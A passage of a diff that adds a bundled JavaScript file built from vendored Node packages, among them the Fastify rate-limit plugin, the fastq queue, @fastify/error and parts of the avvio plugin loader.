[globalParams.labels.retryAfter]: true + }, settings.addHeaders); + globalParams.addHeadersOnExceeding = Object.assign({ + [globalParams.labels.rateLimit]: true, + [globalParams.labels.rateRemaining]: true, + [globalParams.labels.rateReset]: true + }, settings.addHeadersOnExceeding); + if (Number.isFinite(settings.max) && settings.max >= 0) { + globalParams.max = Math.trunc(settings.max); + } else if (typeof settings.max === "function") { + globalParams.max = settings.max; + } else { + globalParams.max = defaultMax; + } + if (Number.isFinite(settings.timeWindow) && settings.timeWindow >= 0) { + globalParams.timeWindow = Math.trunc(settings.timeWindow); + } else if (typeof settings.timeWindow === "string") { + globalParams.timeWindow = parse4(settings.timeWindow); + } else if (typeof settings.timeWindow === "function") { + globalParams.timeWindow = settings.timeWindow; + } else { + globalParams.timeWindow = defaultTimeWindow; + } + globalParams.hook = settings.hook || defaultHook; + globalParams.allowList = settings.allowList || null; + globalParams.ban = Number.isFinite(settings.ban) && settings.ban >= 0 ? Math.trunc(settings.ban) : -1; + globalParams.onBanReach = typeof settings.onBanReach === "function" ? settings.onBanReach : defaultOnFn; + globalParams.onExceeding = typeof settings.onExceeding === "function" ? settings.onExceeding : defaultOnFn; + globalParams.onExceeded = typeof settings.onExceeded === "function" ? settings.onExceeded : defaultOnFn; + globalParams.continueExceeding = typeof settings.continueExceeding === "boolean" ? settings.continueExceeding : false; + globalParams.exponentialBackoff = typeof settings.exponentialBackoff === "boolean" ? settings.exponentialBackoff : false; + globalParams.ipv6Subnet = normalizeIPv6Subnet(settings.ipv6Subnet); + globalParams.keyGenerator = typeof settings.keyGenerator === "function" ? settings.keyGenerator : defaultKeyGenerator; + if (typeof settings.errorResponseBuilder === "function") { + globalParams.errorResponseBuilder = settings.errorResponseBuilder; + globalParams.isCustomErrorMessage = true; + } else { + globalParams.errorResponseBuilder = defaultErrorResponse; + globalParams.isCustomErrorMessage = false; + } + globalParams.skipOnError = typeof settings.skipOnError === "boolean" ? settings.skipOnError : false; + const pluginComponent = { + rateLimitRan: Symbol("fastify.request.rateLimitRan"), + store: null + }; + if (settings.store) { + const Store = settings.store; + pluginComponent.store = new Store(globalParams); + } else { + if (settings.redis) { + pluginComponent.store = new RedisStore(globalParams.continueExceeding, globalParams.exponentialBackoff, settings.redis, settings.nameSpace); + } else { + pluginComponent.store = new LocalStore(globalParams.continueExceeding, globalParams.exponentialBackoff, settings.cache); + } + } + fastify.decorateRequest(pluginComponent.rateLimitRan, false); + if (!fastify.hasDecorator("createRateLimit")) { + fastify.decorate("createRateLimit", (options) => { + const args = createLimiterArgs(pluginComponent, globalParams, options); + return (req, callOptions) => applyRateLimit.apply(this, args.concat(req, callOptions)); + }); + } + if (!fastify.hasDecorator("rateLimit")) { + fastify.decorate("rateLimit", (options) => { + const args = createLimiterArgs(pluginComponent, globalParams, options); + return rateLimitRequestHandler(...args); + }); + } + fastify.addHook("onRoute", (routeOptions) => { + if (routeOptions.config?.rateLimit != null) { + if (typeof routeOptions.config.rateLimit === "object") { + const newPluginComponent = Object.create(pluginComponent); + const mergedRateLimitParams = mergeParams(globalParams, routeOptions.config.rateLimit, { routeInfo: routeOptions }); + newPluginComponent.store = pluginComponent.store.child(mergedRateLimitParams); + addRouteRateHook(newPluginComponent, mergedRateLimitParams, routeOptions); + } else if (routeOptions.config.rateLimit !== false) { + throw new Error("Unknown value for route rate-limit configuration"); + } + } else if (globalParams.global) { + addRouteRateHook(pluginComponent, globalParams, routeOptions); + } + }); + } + function mergeParams(...params) { + const result = Object.assign({}, ...params); + if (Number.isFinite(result.timeWindow) && result.timeWindow >= 0) { + result.timeWindow = Math.trunc(result.timeWindow); + } else if (typeof result.timeWindow === "string") { + result.timeWindow = parse4(result.timeWindow); + } else if (typeof result.timeWindow !== "function") { + result.timeWindow = defaultTimeWindow; + } + if (Number.isFinite(result.max) && result.max >= 0) { + result.max = Math.trunc(result.max); + } else if (typeof result.max !== "function") { + result.max = defaultMax; + } + if (Number.isFinite(result.ban) && result.ban >= 0) { + result.ban = Math.trunc(result.ban); + } else { + result.ban = -1; + } + result.ipv6Subnet = normalizeIPv6Subnet(result.ipv6Subnet); + if (result.groupId !== void 0 && typeof result.groupId !== "string") { + throw new Error("groupId must be a string"); + } + return result; + } + function createLimiterArgs(pluginComponent, globalParams, options) { + if (typeof options === "object") { + const newPluginComponent = Object.create(pluginComponent); + const mergedRateLimitParams = mergeParams(globalParams, options, { routeInfo: {} }); + newPluginComponent.store = newPluginComponent.store.child(mergedRateLimitParams); + return [newPluginComponent, mergedRateLimitParams]; + } + return [pluginComponent, globalParams]; + } + function addRouteRateHook(pluginComponent, params, routeOptions) { + const hook = params.hook; + const hookHandler = rateLimitRequestHandler(pluginComponent, params); + if (Array.isArray(routeOptions[hook])) { + routeOptions[hook].push(hookHandler); + } else if (typeof routeOptions[hook] === "function") { + routeOptions[hook] = [routeOptions[hook], hookHandler]; + } else { + routeOptions[hook] = [hookHandler]; + } + } + async function applyRateLimit(pluginComponent, params, req, callOptions) { + const { store } = pluginComponent; + let key = params.keyGenerator === defaultKeyGenerator ? defaultKeyGenerator(req, params.ipv6Subnet) : await params.keyGenerator(req); + const groupId = req.routeOptions.config?.rateLimit?.groupId; + if (groupId) { + key += groupId; + } + if (params.allowList) { + if (typeof params.allowList === "function") { + if (await params.allowList(req, key)) { + return { + isAllowed: true, + key + }; + } + } else if (params.allowList.indexOf(key) !== -1) { + return { + isAllowed: true, + key + }; + } + } + const max = typeof params.max === "number" ? params.max : await params.max(req, key); + const timeWindow = typeof params.timeWindow === "number" ? params.timeWindow : await params.timeWindow(req, key); + let current = 0; + let ttl = 0; + let ttlInSeconds = 0; + const storeMethod = callOptions?.increment === false ? "read" : "incr"; + if (storeMethod === "read" && typeof store.read !== "function") { + throw new Error("The configured rate-limit store does not implement a `read` method, which is required to use `{ increment: false }`"); + } + try { + const res = await new Promise((resolve, reject) => { + store[storeMethod](key, (err, res2) => { + err ? reject(err) : resolve(res2); + }, timeWindow, max); + }); + current = res.current; + ttl = res.ttl; + ttlInSeconds = Math.ceil(res.ttl / 1e3); + } catch (err) { + if (!params.skipOnError) { + throw err; + } + } + return { + isAllowed: false, + key, + max, + timeWindow, + remaining: Math.max(0, max - current), + ttl, + ttlInSeconds, + isExceeded: current > max, + isBanned: params.ban !== -1 && current - max > params.ban + }; + } + function rateLimitRequestHandler(pluginComponent, params) { + const { rateLimitRan } = pluginComponent; + return async (req, res) => { + if (req[rateLimitRan]) { + return; + } + req[rateLimitRan] = true; + const rateLimit2 = await applyRateLimit(pluginComponent, params, req); + if (rateLimit2.isAllowed) { + return; + } + const { + key, + max, + remaining, + ttl, + ttlInSeconds, + isExceeded, + isBanned + } = rateLimit2; + if (!isExceeded) { + if (params.addHeadersOnExceeding[params.labels.rateLimit]) { + res.header(params.labels.rateLimit, max); + } + if (params.addHeadersOnExceeding[params.labels.rateRemaining]) { + res.header(params.labels.rateRemaining, remaining); + } + if (params.addHeadersOnExceeding[params.labels.rateReset]) { + res.header(params.labels.rateReset, ttlInSeconds); + } + params.onExceeding(req, key); + return; + } + params.onExceeded(req, key); + if (params.addHeaders[params.labels.rateLimit]) { + res.header(params.labels.rateLimit, max); + } + if (params.addHeaders[params.labels.rateRemaining]) { + res.header(params.labels.rateRemaining, 0); + } + if (params.addHeaders[params.labels.rateReset]) { + res.header(params.labels.rateReset, ttlInSeconds); + } + if (params.addHeaders[params.labels.retryAfter]) { + res.header(params.labels.retryAfter, ttlInSeconds); + } + const respCtx = { + statusCode: 429, + ban: false, + max, + ttl, + after: format(ttlInSeconds * 1e3, true) + }; + if (isBanned) { + respCtx.statusCode = 403; + respCtx.ban = true; + params.onBanReach(req, key); + } + throw params.errorResponseBuilder(req, respCtx); + }; + } + module.exports = fp(fastifyRateLimit, { + fastify: "5.x", + name: "@fastify/rate-limit" + }); + module.exports.default = fastifyRateLimit; + module.exports.fastifyRateLimit = fastifyRateLimit; + module.exports.normalizeIP = normalizeIP; + } +}); + +// node_modules/.pnpm/reusify@1.1.0/node_modules/reusify/reusify.js +var require_reusify = __commonJS({ + "node_modules/.pnpm/reusify@1.1.0/node_modules/reusify/reusify.js"(exports, module) { + "use strict"; + function reusify(Constructor) { + var head = new Constructor(); + var tail = head; + function get() { + var current = head; + if (current.next) { + head = current.next; + } else { + head = new Constructor(); + tail = head; + } + current.next = null; + return current; + } + function release(obj) { + tail.next = obj; + tail = obj; + } + return { + get, + release + }; + } + module.exports = reusify; + } +}); + +// node_modules/.pnpm/fastq@1.20.3/node_modules/fastq/queue.js +var require_queue = __commonJS({ + "node_modules/.pnpm/fastq@1.20.3/node_modules/fastq/queue.js"(exports, module) { + "use strict"; + var reusify = require_reusify(); + function fastqueue(context2, worker, _concurrency) { + if (typeof context2 === "function") { + _concurrency = worker; + worker = context2; + context2 = null; + } + if (!(_concurrency >= 1)) { + throw new Error("fastqueue concurrency must be equal to or greater than 1"); + } + var cache2 = reusify(Task); + var queueHead = null; + var queueTail = null; + var _running = 0; + var errorHandler = null; + var self2 = { + push, + drain: noop3, + saturated: noop3, + pause, + paused: false, + get concurrency() { + return _concurrency; + }, + set concurrency(value) { + if (!(value >= 1)) { + throw new Error("fastqueue concurrency must be equal to or greater than 1"); + } + _concurrency = value; + if (self2.paused) return; + for (; queueHead && _running < _concurrency; ) { + _running++; + release(); + } + }, + running, + resume, + idle, + length, + getQueue, + unshift, + empty: noop3, + kill, + killAndDrain, + error: error51, + abort + }; + return self2; + function running() { + return _running; + } + function pause() { + self2.paused = true; + } + function length() { + var current = queueHead; + var counter = 0; + while (current) { + current = current.next; + counter++; + } + return counter; + } + function getQueue() { + var current = queueHead; + var tasks2 = []; + while (current) { + tasks2.push(current.value); + current = current.next; + } + return tasks2; + } + function resume() { + if (!self2.paused) return; + self2.paused = false; + if (queueHead === null) { + _running++; + release(); + return; + } + for (; queueHead && _running < _concurrency; ) { + _running++; + release(); + } + } + function idle() { + return _running === 0 && self2.length() === 0; + } + function push(value, done) { + var current = cache2.get(); + current.context = context2; + current.release = release; + current.value = value; + current.callback = done || noop3; + current.errorHandler = errorHandler; + if (_running >= _concurrency || self2.paused) { + if (queueTail) { + queueTail.next = current; + queueTail = current; + } else { + queueHead = current; + queueTail = current; + self2.saturated(); + } + } else { + _running++; + worker.call(context2, current.value, current.worked); + } + } + function unshift(value, done) { + var current = cache2.get(); + current.context = context2; + current.release = release; + current.value = value; + current.callback = done || noop3; + current.errorHandler = errorHandler; + if (_running >= _concurrency || self2.paused) { + if (queueHead) { + current.next = queueHead; + queueHead = current; + } else { + queueHead = current; + queueTail = current; + self2.saturated(); + } + } else { + _running++; + worker.call(context2, current.value, current.worked); + } + } + function release(holder) { + if (holder) { + cache2.release(holder); + } + var next = queueHead; + if (next && _running <= _concurrency) { + if (!self2.paused) { + if (queueTail === queueHead) { + queueTail = null; + } + queueHead = next.next; + next.next = null; + worker.call(context2, next.value, next.worked); + if (queueTail === null) { + self2.empty(); + } + } else { + _running--; + } + } else if (--_running === 0) { + self2.drain(); + } + } + function kill() { + queueHead = null; + queueTail = null; + self2.drain = noop3; + } + function killAndDrain() { + queueHead = null; + queueTail = null; + self2.drain(); + self2.drain = noop3; + } + function abort() { + var current = queueHead; + queueHead = null; + queueTail = null; + while (current) { + var next = current.next; + var callback = current.callback; + var errorHandler2 = current.errorHandler; + var val = current.value; + var context3 = current.context; + current.value = null; + current.callback = noop3; + current.errorHandler = null; + current.next = null; + if (errorHandler2) { + errorHandler2(new Error("abort"), val); + } + callback.call(context3, new Error("abort")); + cache2.release(current); + current = next; + } + self2.drain = noop3; + } + function error51(handler) { + errorHandler = handler; + } + } + function noop3() { + } + function Task() { + this.value = null; + this.callback = noop3; + this.next = null; + this.release = noop3; + this.context = null; + this.errorHandler = null; + var self2 = this; + this.worked = function worked(err, result) { + var callback = self2.callback; + var errorHandler = self2.errorHandler; + var val = self2.value; + self2.value = null; + self2.callback = noop3; + if (self2.errorHandler) { + errorHandler(err, val); + } + callback.call(self2.context, err, result); + self2.release(self2); + }; + } + function queueAsPromised(context2, worker, _concurrency) { + if (typeof context2 === "function") { + _concurrency = worker; + worker = context2; + context2 = null; + } + function asyncWrapper(arg, cb) { + worker.call(this, arg).then(function(res) { + cb(null, res); + }, cb); + } + var queue = fastqueue(context2, asyncWrapper, _concurrency); + var pushCb = queue.push; + var unshiftCb = queue.unshift; + queue.push = push; + queue.unshift = unshift; + queue.drained = drained; + return queue; + function push(value) { + var p = new Promise(function(resolve, reject) { + pushCb(value, function(err, result) { + if (err) { + reject(err); + return; + } + resolve(result); + }); + }); + p.catch(noop3); + return p; + } + function unshift(value) { + var p = new Promise(function(resolve, reject) { + unshiftCb(value, function(err, result) { + if (err) { + reject(err); + return; + } + resolve(result); + }); + }); + p.catch(noop3); + return p; + } + function drained() { + var p = new Promise(function(resolve) { + process.nextTick(function() { + if (queue.idle()) { + resolve(); + } else { + var previousDrain = queue.drain; + queue.drain = function() { + if (typeof previousDrain === "function") previousDrain(); + resolve(); + queue.drain = previousDrain; + }; + } + }); + }); + return p; + } + } + module.exports = fastqueue; + module.exports.promise = queueAsPromised; + } +}); + +// node_modules/.pnpm/@fastify+error@4.2.0/node_modules/@fastify/error/index.js +var require_error = __commonJS({ + "node_modules/.pnpm/@fastify+error@4.2.0/node_modules/@fastify/error/index.js"(exports, module) { + "use strict"; + var { format } = __require("node:util"); + function toString() { + return `${this.name} [${this.code}]: ${this.message}`; + } + var FastifyGenericErrorSymbol = Symbol.for("fastify-error-generic"); + function createError(code, message2, statusCode = 500, Base = Error, captureStackTrace2 = createError.captureStackTrace) { + const shouldCreateFastifyGenericError = code === FastifyGenericErrorSymbol; + if (shouldCreateFastifyGenericError) { + code = "FST_ERR"; + } + if (!code) throw new Error("Fastify error code must not be empty"); + if (!message2) throw new Error("Fastify error message must not be empty"); + code = code.toUpperCase(); + !statusCode && (statusCode = void 0); + const FastifySpecificErrorSymbol = Symbol.for(`fastify-error ${code}`); + function FastifyError(...args) { + if (!new.target) { + return new FastifyError(...args); + } + this.code = code; + this.name = "FastifyError"; + this.statusCode = statusCode; + const lastElement = args.length - 1; + if (lastElement !== -1 && args[lastElement] && typeof args[lastElement] === "object" && "cause" in args[lastElement]) { + this.cause = args.pop().cause; + } + this.message = format(message2, ...args); + Error.stackTraceLimit && captureStackTrace2 && Error.captureStackTrace(this, FastifyError); + } + FastifyError.prototype = Object.create(Base.prototype, { + constructor: { + value: FastifyError, + enumerable: false, + writable: true, + configurable: true + }, + [FastifyGenericErrorSymbol]: { + value: true, + enumerable: false, + writable: false, + configurable: false + }, + [FastifySpecificErrorSymbol]: { + value: true, + enumerable: false, + writable: false, + configurable: false + } + }); + if (shouldCreateFastifyGenericError) { + Object.defineProperty(FastifyError, Symbol.hasInstance, { + value(instance) { + return instance && instance[FastifyGenericErrorSymbol]; + }, + configurable: false, + writable: false, + enumerable: false + }); + } else { + Object.defineProperty(FastifyError, Symbol.hasInstance, { + value(instance) { + return instance && instance[FastifySpecificErrorSymbol]; + }, + configurable: false, + writable: false, + enumerable: false + }); + } + FastifyError.prototype[Symbol.toStringTag] = "Error"; + FastifyError.prototype.toString = toString; + return FastifyError; + } + createError.captureStackTrace = true; + var FastifyErrorConstructor = createError(FastifyGenericErrorSymbol, "Fastify Error", 500, Error); + module.exports = createError; + module.exports.FastifyError = FastifyErrorConstructor; + module.exports.default = createError; + module.exports.createError = createError; + } +}); + +// node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/errors.js +var require_errors = __commonJS({ + "node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/errors.js"(exports, module) { + "use strict"; + var { createError } = require_error(); + module.exports = { + AVV_ERR_EXPOSE_ALREADY_DEFINED: createError( + "AVV_ERR_EXPOSE_ALREADY_DEFINED", + "'%s' is already defined, specify an expose option for '%s'" + ), + AVV_ERR_ATTRIBUTE_ALREADY_DEFINED: createError( + "AVV_ERR_ATTRIBUTE_ALREADY_DEFINED", + "'%s' is already defined" + ), + AVV_ERR_CALLBACK_NOT_FN: createError( + "AVV_ERR_CALLBACK_NOT_FN", + "Callback for '%s' hook is not a function. Received: '%s'" + ), + AVV_ERR_PLUGIN_NOT_VALID: createError( + "AVV_ERR_PLUGIN_NOT_VALID", + "Plugin must be a function or a promise. Received: '%s'" + ), + AVV_ERR_ROOT_PLG_BOOTED: createError( + "AVV_ERR_ROOT_PLG_BOOTED", + "Root plugin has already booted" + ), + AVV_ERR_PARENT_PLG_LOADED: createError( + "AVV_ERR_PARENT_PLG_LOADED", + "Impossible to load '%s' plugin because the parent '%s' was already loaded" + ), + AVV_ERR_READY_TIMEOUT: createError( + "AVV_ERR_READY_TIMEOUT", + "Plugin did not start in time: '%s'. You may have forgotten to call 'done' function or to resolve a Promise" + ), + AVV_ERR_PLUGIN_EXEC_TIMEOUT: createError( + "AVV_ERR_PLUGIN_EXEC_TIMEOUT", + "Plugin did not start in time: '%s'. You may have forgotten to call 'done' function or to resolve a Promise" + ) + }; + } +}); + +// node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/symbols.js +var require_symbols2 = __commonJS({ + "node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/symbols.js"(exports, module) { + "use strict"; + var kAvvio = Symbol("avvio.Boot"); + var kIsOnCloseHandler = Symbol("isOnCloseHandler"); + var kThenifyDoNotWrap = Symbol("avvio.ThenifyDoNotWrap"); + var kUntrackNode = Symbol("avvio.TimeTree.untrackNode"); + var kTrackNode = Symbol("avvio.TimeTree.trackNode"); + var kGetParent = Symbol("avvio.TimeTree.getParent"); + var kGetNode = Symbol("avvio.TimeTree.getNode"); + var kAddNode = Symbol("avvio.TimeTree.addNode"); + var kPluginMeta = Symbol.for("plugin-meta"); + module.exports = { + kAvvio, + kIsOnCloseHandler, + kThenifyDoNotWrap, + kUntrackNode, + kTrackNode, + kGetParent, + kGetNode, + kAddNode, + kPluginMeta + }; + } +}); + +// node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/time-tree.js +var require_time_tree = __commonJS({ + "node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/time-tree.js"(exports, module) { + "use strict"; + var { + kUntrackNode, + kTrackNode, + kGetParent, + kGetNode, + kAddNode + } = require_symbols2(); + var TimeTree = class { + constructor() { + this.root = null; + this.tableId = /* @__PURE__ */ new Map(); + this.tableLabel = /* @__PURE__ */ new Map(); + } + /** + * @param {TimeTreeNode} node + */ + [kTrackNode](node) { + this.tableId.set(node.id, node); + if (this.tableLabel.has(node.label)) { + this.tableLabel.get(node.label).push(node); + } else { + this.tableLabel.set(node.label, [node]); + } + } + /** + * @param {TimeTreeNode} node + */ + [kUntrackNode](node) { + this.tableId.delete(node.id); + const labelNode = this.tableLabel.get(node.label); + labelNode.pop(); + if (labelNode.length === 0) { + this.tableLabel.delete(node.label); + } + } + /** + * @param {string} parent + * @returns {TimeTreeNode} + */ + [kGetParent](parent) { + if (parent === null) { + return null; + } else if (this.tableLabel.has(parent)) { + const parentNode = this.tableLabel.get(parent); + return parentNode[parentNode.length - 1]; + } else { + return null; + } + } + /** + * + * @param {string} nodeId + * @returns {TimeTreeNode} + */ + [kGetNode](nodeId) { + return this.tableId.get(nodeId); + } + /** + * @param {string} parent + * @param {string} label + * @param {number} start + * @returns {TimeTreeNode["id"]} + */ + [kAddNode](parent, label, start) { + const parentNode = this[kGetParent](parent); + const isRoot = parentNode === null; + if (isRoot) { + this.root = { + parent: null, + id: "root", + label, + nodes: [], + start, + stop: null, + diff: -1 + }; + this[kTrackNode](this.root); + return this.root.id; + } + const nodeId = `${label}-${Math.random()}`; + const childNode = { + parent, + id: nodeId, + label, + nodes: [], + start, + stop: null, + diff: -1 + }; + parentNode.nodes.push(childNode); + this[kTrackNode](childNode); + return nodeId; + } + /** + * @param {string} parent + * @param {string} label + * @param {number|undefined} start + * @returns {TimeTreeNode["id"]} + */ + start(parent, label, start = Date.now()) { + return this[kAddNode](parent, label, start); + } + /** + * @param {string} nodeId + * @param {number|undefined} stop + */ + stop(nodeId, stop = Date.now()) { + const node = this[kGetNode](nodeId); + if (node) { + node.stop = stop; + node.diff = node.stop - node.start || 0; + this[kUntrackNode](node); + } + } + /** + * @returns {TimeTreeNode} + */ + toJSON() { + return Object.assign({}, this.root); + } + /** + * @returns {string} + */ + prettyPrint() { + return prettyPrintTimeTree(this.toJSON()); + } + }; + function prettyPrintTimeTree(obj, prefix = "") { + let result = prefix; + const nodesCount = obj.nodes.length; + const lastIndex = nodesCount - 1; + result += `${obj.label} ${obj.diff} ms +`; + for (let i = 0; i < nodesCount; ++i) { + const node = obj.nodes[i]; + const prefix_ = prefix + (i === lastIndex ? " " : "\u2502 "); + result += prefix; + result += i === lastIndex ? "\u2514\u2500" : "\u251C\u2500"; + result += node.nodes.length === 0 ? "\u2500 " : "\u252C "; + result += prettyPrintTimeTree(node, prefix_).slice(prefix.length + 2); + } + return result; + } + module.exports = { + TimeTree + }; + } +}); + +// node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/debug.js +var require_debug = __commonJS({ + "node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/debug.js"(exports, module) { + "use strict"; + var { debuglog } = __require("node:util"); + var debug = debuglog("avvio"); + module.exports = { + debug + }; + } +}); + +// node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/create-promise.js +var require_create_promise = __commonJS({ + "node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/create-promise.js"(exports, module) { + "use strict"; + function createPromise() { + const obj = { + resolve: null, + reject: null, + promise: null + }; + obj.promise = new Promise((resolve, reject) => { + obj.resolve = resolve; + obj.reject = reject; + }); + return obj; + } + module.exports = { + createPromise + }; + } +}); + +// node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/get-plugin-name.js +var require_get_plugin_name = __commonJS({ + "node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/get-plugin-name.js"(exports, module) { + "use strict"; + var { kPluginMeta } = require_symbols2(); + function getPluginName(plugin, options) { + if (plugin[kPluginMeta]?.name) { + return plugin[kPluginMeta].name; + } + if (options?.name) { + return options.name; + } + if (plugin.name) { + return plugin.name; + } else { + return plugin.toString().split("\n").slice(0, 2).map((s) => s.trim()).join(" -- "); + } + } + module.exports = { + getPluginName + }; + } +}); + +// node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/is-promise-like.js +var require_is_promise_like = __commonJS({ + "node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/is-promise-like.js"(exports, module) { + "use strict"; + function isPromiseLike(maybePromiseLike) { + return maybePromiseLike !== null && typeof maybePromiseLike === "object" && typeof maybePromiseLike.then === "function"; + } + module.exports = { + isPromiseLike + }; + } +}); + +// node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/plugin.js +var require_plugin = __commonJS({ + "node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/plugin.js"(exports, module) { + "use strict"; + var { EventEmitter } = __require("node:events"); + var { inherits } = __require("node:util"); + var { debug } = require_debug(); + var { createPromise } = require_create_promise(); + var { AVV_ERR_PLUGIN_EXEC_TIMEOUT } = require_errors(); + var { getPluginName } = require_get_plugin_name(); + var { isPromiseLike } = require_is_promise_like(); + function Plugin(queue, func, options, isAfter, timeout) { + this.queue = queue; + this.func = func; + this.options = options; + this.isAfter = isAfter; + this.timeout = timeout; + this.started = false; + this.name = getPluginName(func, options); + this.queue.pause(); + this._error = null; + this.loaded = false; + this._promise = null; + this.startTime = null; + } + inherits(Plugin, EventEmitter); + Plugin.prototype.exec = function(server, callback) { + debug("exec", this.name); + this.server = server; + const func = this.func; + const name = this.name; + let completed = false; + this.options = typeof this.options === "function" ? this.options(this.server) : this.options; + let timer2 = null; + const done = (execErr) => { + if (completed) { + debug("loading complete", name); + return; + } + this._error = execErr; + if (execErr) { + debug("exec errored", name); + } else { + debug("exec completed", name); + } + completed = true; + if (timer2) { + clearTimeout(timer2); + } + callback(execErr); + }; + if (this.timeout > 0) { + debug("setting up timeout", name, this.timeout); + timer2 = setTimeout(function() { + debug("timed out", name); + timer2 = null; + const readyTimeoutErr = new AVV_ERR_PLUGIN_EXEC_TIMEOUT(name); + readyTimeoutErr.fn = func; + done(readyTimeoutErr); + }, this.timeout); + } + this.started = true; + this.startTime = Date.now(); + this.emit("start", this.server ? this.server.name : null, this.name, Date.now()); + const maybePromiseLike = func(this.server, this.options, done); + if (isPromiseLike(maybePromiseLike)) { + debug("exec: resolving promise", name); + maybePromiseLike.then( + () => process.nextTick(done), + (e) => process.nextTick(done, e) + ); + } else if (func.length < 3) { + done(); + } + }; + Plugin.prototype.loadedSoFar = function() { + debug("loadedSoFar", this.name); + if (this.loaded) { + return Promise.resolve(); + } + const setup = () => { + this.server.after((afterErr, callback) => { + this._error = afterErr; + this.queue.pause(); + if (this._promise) { + if (afterErr) { + debug("rejecting promise", this.name, afterErr); + this._promise.reject(afterErr); + } else { + debug("resolving promise", this.name); + this._promise.resolve(); + } + this._promise = null; + } + process.nextTick(callback, afterErr); + }); + this.queue.resume(); + }; + let res; + if (!this._promise) { + this._promise = createPromise(); + res = this._promise.promise; + if (!this.server) { + this.on("start", setup); + } else { + setup(); + } + } else { + res = Promise.resolve(); + } + return res; + }; + Plugin.prototype.enqueue = function(plugin, callback) { + debug("enqueue", this.name, plugin.name); + this.emit("enqueue", this.server ? this.server.name : null, this.name, Date.now()); + this.queue.push(plugin, callback); + }; + Plugin.prototype.finish = function(err, callback) { + debug("finish", this.name, err); + const done = () => { + if (this.loaded) { + return; + } + debug("loaded", this.name); + this.emit("loaded", this.server ? this.server.name : null, this.name, Date.now()); + this.loaded = true; + callback(err); + }; + if (err) { + if (this._promise) { + this._promise.reject(err); + this._promise = null; + } + done(); + return; + } + const check2 = () => { + debug("check", this.name, this.queue.length(), this.queue.running(), this._promise); + if (this.queue.length() === 0 && this.queue.running() === 0) { + if (this._promise) { + const wrap = () => { + debug("wrap"); + queueMicrotask(check2); + }; + this._promise.resolve(); + this._promise.promise.then(wrap, wrap); + this._promise = null; + } else { + done(); + } + } else { + debug("delayed", this.name); + this.queue.drain = () => { + debug("drain", this.name); + this.queue.drain = noop3; + queueMicrotask(check2); + }; + } + }; + queueMicrotask(check2); + this.queue.resume(); + }; + function noop3() { + } + module.exports = { + Plugin + }; + } +}); + +// node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/validate-plugin.js +var require_validate_plugin = __commonJS({ + "node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/validate-plugin.js"(exports, module) { + "use strict"; + var { AVV_ERR_PLUGIN_NOT_VALID } = require_errors(); + function validatePlugin(maybePlugin) { + if (!(maybePlugin && (typeof maybePlugin === "function" || typeof maybePlugin.then === "function"))) { + if (Array.isArray(maybePlugin)) { + throw new AVV_ERR_PLUGIN_NOT_VALID("array"); + } else if (maybePlugin === null) { + throw new AVV_ERR_PLUGIN_NOT_VALID("null"); + } else { + throw new AVV_ERR_PLUGIN_NOT_VALID(typeof maybePlugin); + } + } + } + module.exports = { + validatePlugin + }; + } +}); + +// node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/is-bundled-or-typescript-plugin.js +var require_is_bundled_or_typescript_plugin = __commonJS({ + "node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/is-bundled-or-typescript-plugin.js"(exports, module) { + "use strict"; + function isBundledOrTypescriptPlugin(maybeBundledOrTypescriptPlugin) { + return maybeBundledOrTypescriptPlugin !== null && typeof maybeBundledOrTypescriptPlugin === "object" && typeof maybeBundledOrTypescriptPlugin.default === "function"; + } + module.exports = { + isBundledOrTypescriptPlugin + }; + } +}); + +// node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/thenify.js +var require_thenify = __commonJS({ + "node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/thenify.js"(exports, module) { + "use strict"; + var { debug } = require_debug(); + var { kThenifyDoNotWrap } = require_symbols2(); + function thenify() { + if (this.booted) { + debug("thenify returning undefined because we are already booted"); + return; + } + if (this[kThenifyDoNotWrap]) { + this[kThenifyDoNotWrap] = false; + return; + } + debug("thenify"); + return (resolve, reject) => { + const p = this._loadRegistered(); + return p.then(() => { + this[kThenifyDoNotWrap] = true; + return resolve(this._server); + }, reject); + }; + } + module.exports = { + thenify + }; + } +}); + +// node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/execute-with-thenable.js +var require_execute_with_thenable = __commonJS({ + "node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/lib/execute-with-thenable.js"(exports, module) { + "use strict"; + var { isPromiseLike } = require_is_promise_like(); + var { kAvvio } = require_symbols2(); + function executeWithThenable(func, args, callback) { + let result; + try { + result = func.apply(func, args); + } catch (error51) { + if (callback) { + process.nextTick(callback, error51); + } + return; + } + if (isPromiseLike(result) && !result[kAvvio]) { + result.then(() => process.nextTick(callback), (error51) => process.nextTick(callback, error51)); + } else if (callback) { + process.nextTick(callback); + } + } + module.exports = { + executeWithThenable + }; + } +}); + +// node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/index.js +var require_avvio = __commonJS({ + "node_modules/.pnpm/avvio@9.3.0/node_modules/avvio/index.js"(exports, module) { + "use strict"; + var fastq = require_queue(); + var EE = __require("node:events").EventEmitter; + var inherits = __require("node:util").inherits; + var { + AVV_ERR_EXPOSE_ALREADY_DEFINED, + AVV_ERR_CALLBACK_NOT_FN, + AVV_ERR_ROOT_PLG_BOOTED, + AVV_ERR_READY_TIMEOUT, + AVV_ERR_ATTRIBUTE_ALREADY_DEFINED + } = require_errors(); + var { + kAvvio, + kIsOnCloseHandler + } = require_symbols2(); + var { TimeTree } = require_time_tree(); + var { Plugin } = require_plugin(); 